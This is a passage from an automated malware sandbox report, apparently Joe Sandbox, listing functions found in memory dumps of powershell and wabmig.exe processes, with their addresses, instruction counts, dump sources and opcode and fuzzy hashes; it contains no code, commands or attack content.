Opcode Fuzzy Hash: 6a1c07997b88c2e6faa390a8ed851d79caed4f547e22226d6389e979d1df37bd
Instruction Fuzzy Hash: E431F370B002049BE700ABA4C850FAFB7A3EFC6714F208424E9156F791CFB2DD428B92

Function 04C096A8 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ea733d81317cbb540c45b8c4a82496edb697705768fe42134ac39cfb41def9
Instruction ID: 2d0ccd32fa8e2b1639ce09faa4824c65f384d7f4ada830b81644927261fac88a
Opcode Fuzzy Hash: 00ea733d81317cbb540c45b8c4a82496edb697705768fe42134ac39cfb41def9
Instruction Fuzzy Hash: 62317074A093859FD702DF68C9A099ABFB0BF4B210B0941D6D485DB363C624ED45CBA2

Function 07751150 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b892db6da1f348ddf5f624d0eec9051dec0dac6bccaa3ca69046d56e83b0d693
Instruction ID: c6969cb19948e198cb073b2cc3d215cd28f8c062015bd92851a7be1ef1f1a003
Opcode Fuzzy Hash: b892db6da1f348ddf5f624d0eec9051dec0dac6bccaa3ca69046d56e83b0d693
Instruction Fuzzy Hash: D1214CB531030EDBEB24A7A98800B7767969BC2753F648C6AD805DB381DDB5C841C361

Function 07751020 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88415744472905aa52878ff1cbfdbac7690e7291032225049c0b2cc24a3ff86b
Instruction ID: e4da01f53e00f860f40c6a4566527443c6fd190dff7489ed4de7905f0d13c51d
Opcode Fuzzy Hash: 88415744472905aa52878ff1cbfdbac7690e7291032225049c0b2cc24a3ff86b
Instruction Fuzzy Hash: C6217EB530030ADBEB2467A64850737B796ABC5752F74C829E90ADB3C4DDB5C84193A0

Function 07751000 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f6fb7297e73bde1283863f76203ee587b4832282731af0fde58bfc03627c860
Instruction ID: 296beb3968f1a54b3f2855ea767cd6aa0df785a8c6a0e89d18d6ba61b7afee02
Opcode Fuzzy Hash: 6f6fb7297e73bde1283863f76203ee587b4832282731af0fde58bfc03627c860
Instruction Fuzzy Hash: BB21CDF53083CAAFFB111B6248607727FA59F87241F788457E944DB2C2C9A98D459371

Function 07751134 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d330df46f91185f2b8b61c06100c8c473fb0f5bd004991633d9b89743f398db8
Instruction ID: 33f48347ad99842f13c4c0c4561c202a92ba17e074d0bd3d64da5df0dc8f9b53
Opcode Fuzzy Hash: d330df46f91185f2b8b61c06100c8c473fb0f5bd004991633d9b89743f398db8
Instruction Fuzzy Hash: 8E213BB570838AAFEB218B664C007723FA59FC3752F5589A7EC40DB6C2D5A98C45C361

Function 07751E64 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92da9dcf778425d12213fbc5baf5c25f66ade44f9e98897248dbc4e9352d60c2
Instruction ID: c60a275811e388c4d66d2c99f36223ea73a75c362ec2bd618eba8a5c751edee0
Opcode Fuzzy Hash: 92da9dcf778425d12213fbc5baf5c25f66ade44f9e98897248dbc4e9352d60c2
Instruction Fuzzy Hash: A411E2F190530BDFC7208F6888007A6BBF0EF86293F99856ADC18DB251D7B4C981CB91

Function 04C09697 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603a889493669228e46e086b92c217e61b75f29d50a030a21557f13d3fc27256
Instruction ID: 0939dc9fbdde20d0d6ab82e5614557d5391776bb6407610b7560001e31c6ad68
Opcode Fuzzy Hash: 603a889493669228e46e086b92c217e61b75f29d50a030a21557f13d3fc27256
Instruction Fuzzy Hash: 24212E74A04209DFCB00CF98D980AAEFBB5FF89310B158499E909AB352C731FD51CBA1

Function 04C0EEC3 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a9808227ad4cb9f214f4b79bb17c78a0b1e75b31397b0da535b6cdc3fcd31e
Instruction ID: 88a154125dc8a63f5704eb59794f025a2f676898d836e78ebcbdbdb595b040de
Opcode Fuzzy Hash: 52a9808227ad4cb9f214f4b79bb17c78a0b1e75b31397b0da535b6cdc3fcd31e
Instruction Fuzzy Hash: 6F11E030D4015CDBEF28EA94E5987ECB7B2AB4531DF18986AC011B61D0EB746A89CB15

Function 04A7D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207288874.0000000004A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4a7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feabe9ba1b2faac7e6f0784c9a23738e4aa9fde5df45ffb914a4a4ab7d565536
Instruction ID: f4baec086e313bd0183f75272502bbf4b2899ecafee186e89da6ab9704a2ba96
Opcode Fuzzy Hash: feabe9ba1b2faac7e6f0784c9a23738e4aa9fde5df45ffb914a4a4ab7d565536
Instruction Fuzzy Hash: 4301F7715043049AFB304F21DCC0B67BF98DF41625F18C029DC0A0B542C678A442C7B1

Function 04A7D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207288874.0000000004A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4a7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc0d456190a3130fa2279c67c26a34bcda8824492ce66de932fb8d5ee3eee6c
Instruction ID: 9f71a40def9f101ecb9a890eae2b55364056085dff95c5a9fcf76f0bc90cbe55
Opcode Fuzzy Hash: 4bc0d456190a3130fa2279c67c26a34bcda8824492ce66de932fb8d5ee3eee6c
Instruction Fuzzy Hash: 1A01717200E3C09FE7128B259C94B52BFB4DF43225F1D81DBD8888F1A3C2695849C7B2

Function 07751BAF Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114bd15dced58f5de0cc615276ac63098c11fc876c60aaf34034da5a11604fc5
Instruction ID: ac53ead9764e05a5003818fd4f420a6d115907d7532ee3ef05bba3cb258d129a
Opcode Fuzzy Hash: 114bd15dced58f5de0cc615276ac63098c11fc876c60aaf34034da5a11604fc5
Instruction Fuzzy Hash: 5BB012715051504FC241CB10C850480BF209F92104318C0CA94448B257CB23DE03C700

Non-executed Functions

Function 04A7D6E4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207288874.0000000004A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4a7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d831bdce581d3d1a4062f84c5c4faf796b09dc24e8c5e776c29d6a84b201c7ac
Instruction ID: a96c64541961d1a109fa188e873ae48acc5983dfcc03c99609f6e31f275bd4e4
Opcode Fuzzy Hash: d831bdce581d3d1a4062f84c5c4faf796b09dc24e8c5e776c29d6a84b201c7ac
Instruction Fuzzy Hash: 8D21FFB6604340EFDB24DF14DDC0B26BF65FF88324F24C669E8094B246C336E456CAA2

Analysis Process: wabmig.exePID: 8168, Parent PID: 7496COMMON

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	141
Total number of Limit Nodes:	1

Executed Functions

Function 25D49548 Relevance: 3.4, APIs: 2, Instructions: 357
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 25D495E0

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5ae1727ef07211577fac37e3782096c1d9c8202ba1e9d6b8ffae61e638a3a9a0
Instruction ID: 5ad88de90dd7a2ed911dbb87056f663a1abb4cadd7e67e1fcedce30a3c2f5653
Opcode Fuzzy Hash: 5ae1727ef07211577fac37e3782096c1d9c8202ba1e9d6b8ffae61e638a3a9a0
Instruction Fuzzy Hash: 20F1C474E01218CFDB14DFA9C884B9DBBB6FF88304F1481A9E448AB355DB75A986CF50

Function 25D40B30 Relevance: 2.0, Strings: 1, Instructions: 709
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

j", xrefs: 25D410C8

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID: j"
API String ID: 0-1479328248
Opcode ID: cf41928d5a1945eab707f07f799798b02e0cef7a0515a0323ca92f147922de8f
Instruction ID: ca642c17bdd2d8d4d7ca3538315dc23ef4726e41434c41f72f9d1b5aa6d817df
Opcode Fuzzy Hash: cf41928d5a1945eab707f07f799798b02e0cef7a0515a0323ca92f147922de8f
Instruction Fuzzy Hash: CE72AE75E052298FDB64DF69C980BE9BBF2BB89300F1481E9D449A7351DB34AE81CF50

Function 009469A0 Relevance: .5, Instructions: 515COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17829a40e99c388587c61fa755bf2531acd4cf0cc7636a5ebd6fae9bf5ddeb70
Instruction ID: e71c998d0a13e2ddec50d4fb148bd1047964b4393139c981165533fe743788f8
Opcode Fuzzy Hash: 17829a40e99c388587c61fa755bf2531acd4cf0cc7636a5ebd6fae9bf5ddeb70
Instruction Fuzzy Hash: A1126D70B002199FDB15DF69C854BAEBBF6BF89300F208569E806EB395DB349D41CB91

Function 00946FC8 Relevance: .4, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c251291c4828b844d2212e58edf5e1900ea92cb164d4a5f788c6e85931e2cb15
Instruction ID: cdb0941564c5c17f97cd0d8a7f33d41cac83b1659a4361841d5dea395028e345
Opcode Fuzzy Hash: c251291c4828b844d2212e58edf5e1900ea92cb164d4a5f788c6e85931e2cb15
Instruction Fuzzy Hash: 30025D30A08259DFCB15CFA8C984EAEFBB6BF89304F158469E815AB361D735ED41CB50

Function 00943E13 Relevance: .4, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64d478e5d50692d26446b4b8b72746110ba99887c51b45e1567a610c596a559
Instruction ID: 443e35a54788ffe7f5f3ac82f536dbf375c2bc2721ebafd44feb11954b4a8f87
Opcode Fuzzy Hash: a64d478e5d50692d26446b4b8b72746110ba99887c51b45e1567a610c596a559
Instruction Fuzzy Hash: 79F16F34F08219CFDB18DFB5C854AAEBBB2BFC9700B148569E406E7395DB359802DB51

Function 25D42968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f91d06b359606dc1591474731b9d4731c6a587ccece2f5994d1851c8abd827
Instruction ID: 7ba0662fbb83d7f5b1df469e5e1853ed8394c6908322e7e1625990d071701e7b
Opcode Fuzzy Hash: 76f91d06b359606dc1591474731b9d4731c6a587ccece2f5994d1851c8abd827
Instruction Fuzzy Hash: 99C1AF75E00218CFEB14DFA5C944B9DBBB2FB88301F2481A9D809AB395DB359E85CF50

Function 0094C147 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2e583713ec6e60d78a455777ca00b1611d5472cd1423aeeea2c1025be95caa5
Instruction ID: cf875491da823c97431bba6da79f8e380cee8fcc89f6ecec4872b51a2e481e1a
Opcode Fuzzy Hash: f2e583713ec6e60d78a455777ca00b1611d5472cd1423aeeea2c1025be95caa5
Instruction Fuzzy Hash: D4A1E5B5E05258DFDB54DFA9D884A9DBBF2BF89300F14806AE409EB362DB749841CF50

Function 25D42DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad5e27365d485c78c44040d645ebbec07673e9e86a4587360b15db859b1333ff
Instruction ID: 7b61bfbd6c39627196b5a0647eb7dbd1d9247f7ad5f7b2f892fe2e261b5c9314
Opcode Fuzzy Hash: ad5e27365d485c78c44040d645ebbec07673e9e86a4587360b15db859b1333ff
Instruction Fuzzy Hash: EFA1F470E002088FEB10DFA9C944B9DBBB1FF89314F208269E509BB3A1DB759985CF55

Function 25D42DBE Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770ec255e90d79e80ee06a7bc770955135a195bbdfb1c6334acc838d943fb3c3
Instruction ID: 03c49b538f3ea01e9a96a9d1c2a20bb903b136f968199b94b60717228b2fde1e
Opcode Fuzzy Hash: 770ec255e90d79e80ee06a7bc770955135a195bbdfb1c6334acc838d943fb3c3
Instruction Fuzzy Hash: ACA1F470E002088FEB10DFA9C984B9DBBB1FF89314F208269E509BB391DB759985CF54

Function 25D4310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a96edb9a9558686aa9ca7ad18c53c8cad8c5566db4a6a2a4b7b3515facd5f5
Instruction ID: 71280ee6bda434406b3635ae9efad60a75b9bdfb024e2da36aef64e60c15d097
Opcode Fuzzy Hash: 21a96edb9a9558686aa9ca7ad18c53c8cad8c5566db4a6a2a4b7b3515facd5f5
Instruction Fuzzy Hash: 0D91E470E00208CFEB10DFA9D884B9DBBB5FF89310F208259E509BB291DB759985CF55

Function 0094D278 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe0167eed24efaf584c00a89dde18ad16d1861a434149bff796e5e7631915b8e
Instruction ID: 9c2f9f1365988b339c15df39236110c6e63d783f45d3abed5136b763df82d19d
Opcode Fuzzy Hash: fe0167eed24efaf584c00a89dde18ad16d1861a434149bff796e5e7631915b8e
Instruction Fuzzy Hash: D881A4B5E01218CFEB14DFAAD984B9DBBF2BF89304F248069E419AB365DB345945CF10

Function 0094CA08 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e5789a33fcca84c4d4241440bf259121e04d493eb64f9871a87fb448028f16
Instruction ID: 6d0d736ff2b45d1b74ffa063436384ed77a6fcd75a21969f158c06f506e48279
Opcode Fuzzy Hash: 33e5789a33fcca84c4d4241440bf259121e04d493eb64f9871a87fb448028f16
Instruction Fuzzy Hash: 6B8193B4E01218CFEB54DFAAD884A9DBBF2BF88301F14C069E419AB365DB345941CF50

Function 0094CCD8 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03090a23cf69d7fa6bfd66e514bcbdb0173ea9b7cc178e70a8f759c256f0e145
Instruction ID: b46f8667c8315d446686d9633cfee00edc1028c3b7dbb9503cb4219796a72478
Opcode Fuzzy Hash: 03090a23cf69d7fa6bfd66e514bcbdb0173ea9b7cc178e70a8f759c256f0e145
Instruction Fuzzy Hash: DF81A3B4E01218DFEB54DFA9D884A9DBBF2BF88300F24C069E419AB365DB345985CF50

Function 0094C738 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e971aa9e88719733d0f9681d72a9c48565dbd36ce2594b4b62ed343a7f864139
Instruction ID: 766beebe066cff79659b96cb088a9d40fb65439cc6e6b454796191cfc0d8381c
Opcode Fuzzy Hash: e971aa9e88719733d0f9681d72a9c48565dbd36ce2594b4b62ed343a7f864139
Instruction Fuzzy Hash: AE8192B5E01218DFEB54DFA9D984B9DBBF2BF88300F248069E419AB365DB345941CF50

Function 0094CFA9 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc4fc034469609fc7a1396b740f2202fa9d6035b79b754021916d6ff60e66763
Instruction ID: efa7d19e5d1e59b26d9ba11d46232a5890159cb3fadb788c5f7a8ddef4936f4e
Opcode Fuzzy Hash: fc4fc034469609fc7a1396b740f2202fa9d6035b79b754021916d6ff60e66763
Instruction Fuzzy Hash: FD81A374E05218CFEB18DFA9D984B9DBBF2BF89300F148069E819AB365DB345945DF10

Function 00945370 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed7f353823903bfae75c63f173482ea40e41433c4c0e9d0b8c44113526f60bc
Instruction ID: f0e29454f316427138ede4cb9923bc46293640fa7f4586f848fad817c9f3ecf7
Opcode Fuzzy Hash: 3ed7f353823903bfae75c63f173482ea40e41433c4c0e9d0b8c44113526f60bc
Instruction Fuzzy Hash: 4161C375E006189FDB14DFEAD984A9DBBF2BF88300F15C069E818AB366DB349941CF10

Function 0094E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c239c4212ecbee37f8df393c61a4012720df0c874d8906eee0ff9e402b10d807
Instruction ID: 192f6f4f9563b4901eb06df5058a251fdce1319330e581a220396288049f8aa8
Opcode Fuzzy Hash: c239c4212ecbee37f8df393c61a4012720df0c874d8906eee0ff9e402b10d807
Instruction Fuzzy Hash: 2E519375E00208DFEB18DFAAD894A9DBBB2FF89301F24C129E815AB364DB345841CF14

Function 0094E97B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e75946c50f05907345839c866b73231ff158751c791dfb0cd359c0e1f3232449
Instruction ID: 1e4900e1c1c539bd5ea0b06209e60838926b81118e466cc4ef3253ac02b30020
Opcode Fuzzy Hash: e75946c50f05907345839c866b73231ff158751c791dfb0cd359c0e1f3232449
Instruction Fuzzy Hash: DE519575E00208DFEB18DFAAD894A9DBBB2FF89701F24C129E815AB365DB345841CF14

Function 25D4992C Relevance: 1.6, APIs: 1, Instructions: 62
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 25D49A6E

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3409695c5444bf68846d9913ce13e3b04d40725f7b8e567ddc23462724aaf38d
Instruction ID: 923650695369999d185a29ce5c6e18b02665c5e3093ce5a8661c9d73d1a94746
Opcode Fuzzy Hash: 3409695c5444bf68846d9913ce13e3b04d40725f7b8e567ddc23462724aaf38d
Instruction Fuzzy Hash: 05112974E002198FDB04DBAAD885EADB7F9FB88304F148169E848E7346D731AD41CB60

Function 009462F0 Relevance: 1.3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P", xrefs: 009463B6

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID: P"
API String ID: 0-36892166
Opcode ID: 8cb5c8d47131aac2ab29dc8c5b666935ecc7ad2b611aed91089601e3d03dab57
Instruction ID: 723993b52a398fea06fb6973a84b006691238356350cc695e55724f8699c6789
Opcode Fuzzy Hash: 8cb5c8d47131aac2ab29dc8c5b666935ecc7ad2b611aed91089601e3d03dab57
Instruction Fuzzy Hash: 1D2143363046528FC7299F29C46892EBBA6AFCA751714856DE806CB394CF35CC028B81

Function 0094F31B Relevance: 1.3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c"8c"dc", xrefs: 0094F371

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID: c"8c"dc"
API String ID: 0-2109075657
Opcode ID: edaafe189461f361e2ac53b84bff3c9bf9fda43347fb3079e74d89ed10d63e17
Instruction ID: 0c7ebc73434314679bd74416d1cc4b580a1d0241f5b216ed4d3de1fc60cae4f6
Opcode Fuzzy Hash: edaafe189461f361e2ac53b84bff3c9bf9fda43347fb3079e74d89ed10d63e17
Instruction Fuzzy Hash: F2218E71E00209DFDB01EFB8D850B9DBFB1FB85300F0085A9D4189B2A5EB744A45DF81

Function 0094F320 Relevance: 1.3, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c"8c"dc", xrefs: 0094F371

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID: c"8c"dc"
API String ID: 0-2109075657
Opcode ID: 169d41dfc843b1560c3c16a260a9f3789fbbea08d9e755f7c87881ad1b2109e8
Instruction ID: 1311929eb417a741ca6f517beebec5d99160d9e35964a821b8ce508512b198e9
Opcode Fuzzy Hash: 169d41dfc843b1560c3c16a260a9f3789fbbea08d9e755f7c87881ad1b2109e8
Instruction Fuzzy Hash: EB110A71E00209DFEB04EFA8D950B9EBFF6FB84301F10C5A9D018AB255EB749A459F81

Function 0094E007 Relevance: .7, Instructions: 654COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d8083bee645ef7f10b3e0c1387e631c3648ee15884329f6b37eb99d9b63b101
Instruction ID: c586d4fa7562d8ec050fc49c145bdb29672f6e5beffb3e49de74716a6e1dd830
Opcode Fuzzy Hash: 1d8083bee645ef7f10b3e0c1387e631c3648ee15884329f6b37eb99d9b63b101
Instruction Fuzzy Hash: 8912A9B65A53568FD3402F74D5BC06A7E62FB4F323705AE20E98BC2059DF7A0448CBA5

Function 0094E018 Relevance: .6, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3271aa3e666f7e450720ba3a6155b62bbbcf88bded36844c64e5372c7c0b44dc
Instruction ID: 1cd91e20c443bd10eeb47e5735a0a92e582b303f0d9bacc902c2be458f616977
Opcode Fuzzy Hash: 3271aa3e666f7e450720ba3a6155b62bbbcf88bded36844c64e5372c7c0b44dc
Instruction Fuzzy Hash: 7F12A9B64A57578F93402F74D5BC06A7E62FB4F323705AE20E98BC2059DF7A0448CBA5

Function 00940C8F Relevance: .5, Instructions: 546
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

